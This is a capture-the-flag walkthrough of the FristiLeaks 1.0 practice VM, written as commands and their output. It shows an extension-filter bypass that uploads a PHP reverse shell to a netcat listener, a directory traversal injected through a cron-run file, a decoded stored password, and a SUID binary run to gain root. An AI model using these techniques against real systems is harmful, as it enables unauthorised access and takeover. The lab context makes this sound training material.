Coffee Difficulty Rating:

Author Description

A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..

VMWare Users - MAC Address

If you are a VMWare user, you'll need to manually set the MAC Address to 08:00:27:A5:A6:76.

Port Scanning

nmap -v -p 1-65535 -sV -O -sT

Service Enumeration

Port Service Version Detection

TCP: 80


Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

HTTP Enumeration

Enumeration of the web application, revealed the page /fristi with the following form:


Page source interrogation revealed the following code comment:

We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz

The following base64 encoded image was also discovered and decoded to reveal an image containing the string: keKkeKKeKKeKkEkkEk

echo "iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx\njwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl\nS0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw\nB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f\nm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ\nZv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb\nDpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd\njJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU\n12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5\nuvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1\n04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq\ni1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg\ntOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws\n30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl\n3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK\nul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q\nmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34\nrPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe\nEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH\nAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk\nCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR\nU5ErkJggg==" | base64 --decode
 1274* echo "iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx\njwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl\nS0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw\nB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f\nm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ\nZv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb\nDpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd\njJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU\n12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5\nuvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1\n04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq\ni1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg\ntOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws\n30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl\n3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK\nul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q\nmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34\nrPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe\nEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH\nAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk\nCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR\nU5ErkJggg==" | base64 --decode > image.png

The following credentials were used to login to the web application:

Username Password



PHP Reverse Shell

The file name shell.php.png was used to bypass the web application filtering, the file was still executed as PHP (likely due to incorrectly configured Apache MIME types). A reverse shell successfully connected back to a netcat listener.

[root:~]# netcat -n -v -l -p 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 34400
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 18:26:33 up  5:37,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ whoami

Local Enumeration

Enumeration of the users home dir found several binary files and the following txt file:

sh-4.1$ cat notes
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

The following directory traversal (the command had to originate from /usr/bin/) was used to set the permissions for /home/admin world readable.

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis


Inspection of /home/admin disclosed the following:

sh-4.1$ cd /home/admin
cd /home/admin
sh-4.1$ ls -la
ls -la
total 652
drwxrwxrwx. 2 admin     admin       4096 Nov 19 02:03 .
drwxr-xr-x. 5 root      root        4096 Nov 19 01:40 ..
-rwxrwxrwx. 1 admin     admin         18 Sep 22 12:40 .bash_logout
-rwxrwxrwx. 1 admin     admin        176 Sep 22 12:40 .bash_profile
-rwxrwxrwx. 1 admin     admin        124 Sep 22 12:40 .bashrc
-rwxrwxrwx  1 admin     admin      45224 Nov 18 13:42 cat
-rwxrwxrwx  1 admin     admin      48712 Nov 18 14:14 chmod
-rwxrwxrwx  1 admin     admin        737 Nov 18 14:48
-rwxrwxrwx  1 admin     admin         21 Nov 18 15:21 cryptedpass.txt
-rwxrwxrwx  1 admin     admin        258 Nov 18 15:20
-rwxrwxrwx  1 admin     admin      90544 Nov 18 13:49 df
-rwxrwxrwx  1 admin     admin      24136 Nov 18 13:40 echo
-rwxrwxrwx  1 admin     admin     163600 Nov 18 13:42 egrep
-rwxrwxrwx  1 admin     admin     163600 Nov 18 13:42 grep
-rwxrwxrwx  1 admin     admin      85304 Nov 18 13:41 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19 01:47 whoisyourgodnow.txt
sh-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
sh-4.1$ cat cryptedpass.txt
cat cryptedpass.txt

The following python script appeared to create the above string in cryptedpass.txt:

sh-4.1$ cat
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

print cryptoResult

The above script was modified on the attacking machine to decode the string:

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
    string = str[::-1]
    string = string.encode("rot13")
    return base64.b64decode(string)

print decodeString(sys.argv[1])

String successfully decoded:

[root:~]# python "=RFn0AKnlMHMPIzpyuTI0ITG"

Using the previously decoded string it was possible to su - to the user fristigod.

sh-4.1$ python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/sh")'
sh-4.1$ su - fristigod
su - fristigod
Password: LetThereBeFristi!

-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

Enumeration as the user fristigod revealed the SUID binary: /var/fristigod/.secret_admin_stuff/doCom.

-bash-4.1$ ls -la /var/fristigod
ls -la /var/fristigod
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25 05:55 .
drwxr-xr-x. 19 root      root      4096 Nov 19 01:41 ..
-rw-------   1 fristigod fristigod  864 Nov 25 06:09 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25 05:53 .secret_admin_stuff
-bash-4.1$ cd .se
cd .secret_admin_stuff/
-bash-4.1$ ls
-bash-4.1$ ls -la
ls -la
total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 05:53 .
drwxr-x---  3 fristigod fristigod 4096 Nov 25 05:55 ..
-rwsr-sr-x  1 root      root      7529 Nov 25 05:53 doCom
-bash-4.1$ ./d
Nice try, but wrong user ;)

Privilege Escalation

Execution of the doCom binary was possible using the user fristi from the logged in user fristigod, successfully escalating privileges.

sudo -u fristi .secret_admin_stuff/doCom /bin/sh
sh-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Root Flag

cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA []

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

Thanks for the VM :)